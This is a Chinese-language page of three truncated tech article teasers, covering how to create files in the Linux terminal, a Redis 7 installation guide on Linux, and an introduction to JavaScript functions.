在Linux中创建一个新文件很简单,但也有一些令人惊讶和灵巧的技术。​在本教程中,学习如何从Linux终端创建文件。​ 先决条件 访问命令行/终端窗口(Ctrl-Alt-F2或Ctrl-Alt-T) 具有sudo权限的用户帐户(对于某些文件/目录是可选的) 从命令行创建新的Linux文件 Linux的设计…

Linux 系统安装 Redis7 —— 超详细操作演示!

内存数据库 Redis7 一、Redis 概述1.1 Redis 简介1.2 Redis 的用途1.3 Redis 特性1.4 Redis 的IO模型 二、Redis 的安装与配置2.1 Redis 的安装2.2 连接前的配置2.3 Redis 客户端分类2.4 Redis 配置文件详解 三、Redis 命令四、Redis 持久化五、Redis 主从集群六、Redis 分布式…

【Java 进阶篇】深入了解JavaScript中的函数

函数是JavaScript编程中的核心概念之一。它们是可重用的代码块&#xff0c;可以帮助您组织和管理程序&#xff0c;使您的代码更具可读性和可维护性。在本篇博客中&#xff0c;我们将深入了解JavaScript中的函数&#xff0c;包括函数的基本语法、参数、返回值、作用域、闭包和高…